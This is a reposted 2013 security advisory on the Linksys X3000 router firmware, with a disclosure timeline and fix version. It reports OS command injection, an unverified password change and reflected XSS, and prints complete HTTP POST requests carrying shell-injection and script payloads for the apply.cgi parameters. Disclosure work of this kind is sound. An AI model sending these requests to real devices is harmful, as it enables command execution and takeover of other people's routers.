Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:29560
HistoryJul 15, 2013 - 12:00 a.m.

Linksys X3000 - Multiple Vulnerabilities

2013-07-1500:00:00
vulners.com
86

Device: X3000
Vendor: Linksys

============ Vulnerable Firmware Releases: ============

Firmware Version: v1.0.03 build 001 Jun 11,2012

============ Vulnerability Overview: ============

  • OS Command Injection

The vulnerability is caused by missing input validation in the ping_ip parameter and can be exploited to inject and execute arbitrary shell commands.

You need to be authenticated to the device or you have to find other methods for inserting the malicious commands.

  • OS Command Injection - Vector 1 (1):
    => Parameter: ping_ip

Example Exploit:
POST /apply.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.1.1/Diagnostics.asp
Authorization: Basic XXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 194
Connection: close

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=%3b%20ping%20-c%201%20192%2e168%2e1%2e147%20%3b&ping_size=&ping_times=5&traceroute_ip=

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/x3000-os-command-injection.png

  • OS Command Injection - Vector 1 (2):
    => Parameter: Add_Account_Password

Example Exploit:
POST /apply.cgi HTTP/1.1
Host: 192.168.178.188
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.178.188/User_Properties.asp
Authorization: Basic XXX=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 444

command=device_data&cur_ipaddr=192.168.178.188&next_page=StorageAdminUserAdd1.htm&redirect_timer=1&reboot=0&data1=&next_page=&submit_button=User_Properties&submit_type=create_user&change_action=gozila_cgi&Add_Account_Group_Name=&access_group_name=&delete_groups=&Modify_Account_Name=&Add_Account_Name=pwnd&full_name=pwnd&user_desc=pwnd&Add_Account_Password=`ping%20192%2e168%2e178%2e103`&Add_Account_PasswordConfirm=pwnd&Add_Account_Group=admin

  • For changing the password there is no request to the current password (3):

With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.

  • reflected XSS

Injecting scripts into the following parameters reveals that these are not properly validated for malicious input.

=> Parameter: ping_ip (4)

POST /apply.cgi HTTP/1.1
Host: 192.168.178.188
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.178.188/Diagnostics.asp
Authorization: Basic XXX=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=1.1.1.1'><script>alert(1)</script>&ping_size=32&ping_times=5&traceroute_ip=

=&gt; Parameter: sortby &#40;5&#41;

POST /apply.cgi HTTP/1.1
Host: 192.168.178.188
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.178.188/DHCPTable.asp
Authorization: Basic XXX=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

submit_button=DHCPTable&change_action=&submit_type=&small_screen=&ip=&mac=&if_name=&nowait=1&sortby=mac"%3balert(1)//

=&gt; Parameter: submit_button &#40;6&#41;

POST /apply.cgi HTTP/1.1
Host: 192.168.178.188
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.178.188/WanMAC.asp
Authorization: Basic XXX=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 106

submit_button=WanMAC'%3balert(1)//&change_action=&submit_type=&action=Apply&wait_time=3&mac_clone_enable=0

============ Solution ============

Update to version "v1.0.05 build 002 Feb 21,2013" to fix the following findings:
1, 2, 4, 5, 6

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de/advisories
Twitter: @s3cur1ty_de

============ Time Line: ============

28.01.2013 - discovered vulnerability
04.02.2013 - Reported vulnerability privately to vendor
22.02.2013 - Requested update
25.02.2013 - Linksys responded that there are no updates
18.03.2013 - Requested update
=> and some more update requests …
08.05.2013 - Testing update from vendor
08.05.2013 - responded testing results
21.06.2013 - Linksys informed me about public available firmware update
22.06.2013 - public disclosure

===================== Advisory end =====================